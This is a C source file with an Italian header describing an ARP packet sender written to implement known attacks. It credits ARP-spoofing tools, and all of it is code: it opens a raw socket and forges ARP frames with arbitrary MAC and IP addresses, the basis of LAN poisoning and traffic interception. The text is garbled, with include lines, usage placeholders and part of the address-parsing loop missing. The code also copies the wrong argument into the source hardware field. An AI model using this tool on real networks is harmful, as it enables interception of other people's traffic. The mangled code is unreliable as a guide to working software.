/******************************************************************** * * * Ring.c Un Arp packet sender. E' stato ideato per * * implementare alcuni attacchi già noti * * e stranoti. Forse le libnet fanno lo * * stesso in maniera piu' facile e veloce... * * Ma volete ammettere la soddisfazione che * * si prova ... quando si vede che sulla tua * * lan girano pacchetti con il tuo marchio * * di fabbrica ... :D * * * * Greets yuri volobuev and his arp_fun.txt,raptor * * and his havoc,sorbo and his sarp.My mjd * * brothers,my girl,and my family. * * * *********************************************************************/ #include #include #include #include #include #include #include struct arp_packet { u_char Dst_e_hw[ETH_ALEN]; u_char Src_e_hw[ETH_ALEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char Src_a_hw[ETH_ALEN]; u_char Src_a_ip[4]; u_char Dst_a_hw[ETH_ALEN]; u_char Dst_a_ip[4]; }; void die(char* str); void get_hw_addr(char* buf,char* str); void SendArpPkt(char *dev,char *src_e_hw, char *dst_e_hw, int op , char *src_a_hw, char *src_a_ip,char *dst_a_hw,char *dst_a_ip); void usage(); int getdevindex(int sock, char *name); int strip(unsigned char *dst, char *str); void usage () { fprintf (stderr, "\n[*]------------------------------Ring------------------------------[*]\n" " * Coder : lupsyn *\n" " * Greets : http://www.mojodo.it *\n" " *------------------------------------------------------------------*\n" " * *\n" " * Usage : *\n" " * *\n" " * : Shuld We send the packet over something ? :D *\n" " * : Source mac address for ethernet header *\n" " * : Dest mac address for ethernet header *\n" " * : Opcode for arp header, read my tut or cat if_arp.h *\n" " * : Source mac address for arp header *\n" " * : Source ip address for arp header *\n" " * : Dest mac address for arp header *\n" " * : Dest ip address for arp header *\n" " * *\n" "[*]----------------------------------------------------------------[*]\n\n"); exit(0); } main(int argc, char *argv[]) { if (argc<8) usage(); fprintf (stderr,"\nLet's go boy... :p\n\n"); SendArpPkt(argv[1],argv[2],argv[3],atoi(argv[4]),argv[5],argv[6],argv[7],argv[8]); } void die(char* str) { fprintf(stderr,"\n[***] Attention exit for the followent reason : %s\n",str); exit(0); } int getdevindex(int sock, char *name) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if(ioctl(sock, SIOCGIFINDEX, &ifr) == -1) die("I can't get device flags"); fprintf(stderr,"[*] Get ethernet flags....\n"); return ifr.ifr_ifindex; } void get_hw_addr(char *buf,char *str) { int i; char c,val; for(i=0;i= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf = val << 4; if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit(c)) val = c-'0'; else if(c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf++ |= val; if(*str == ':')str++; } } int strip(unsigned char *dst, char *str) { if(sscanf(str,"%d.%d.%d.%d",&dst[0],&dst[1],&dst[2],&dst[3])==4) return 0; return -1; } void SendArpPkt(char *dev,char *src_e_hw, char *dst_e_hw, int op , char *src_a_hw, char *src_a_ip,char *dst_a_hw,char *dst_a_ip) { struct sockaddr_ll to; struct arp_packet pkt; int sock; if( (sock = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL))) == -1) die("Can't create socket"); if( (to.sll_ifindex = getdevindex(sock,dev)) == -1) die("Can't get interface"); //Eth header get_hw_addr(pkt.Src_e_hw,src_e_hw); get_hw_addr(pkt.Dst_e_hw,dst_e_hw); pkt.frame_type = htons(ETH_P_ARP); fprintf (stderr,"[*] Eth header is ready....\n"); //arp pkt.hw_type = htons(ARPHRD_ETHER); pkt.prot_type = htons(ETH_P_IP); pkt.hw_addr_size = ETH_ALEN; pkt.prot_addr_size = 4; pkt.op=htons(op); fprintf(stderr,"[*] Arp header is ready....\n"); //data get_hw_addr(pkt.Dst_a_hw,dst_a_hw); get_hw_addr(pkt.Src_a_hw,dst_a_hw); strip(pkt.Src_a_ip,src_a_ip); strip(pkt.Dst_a_ip,dst_a_ip); //write and send if(sendto(sock,&pkt,sizeof(pkt),0,(struct sockaddr*)&to,sizeof(to))<0) die ("I can't send the packet"); fprintf (stderr,"[*] The packet is send. The Matrix is around you!\n"); fprintf (stderr,"\nBy lupsyn No(c) http://www.mojodo.it\n\n"); }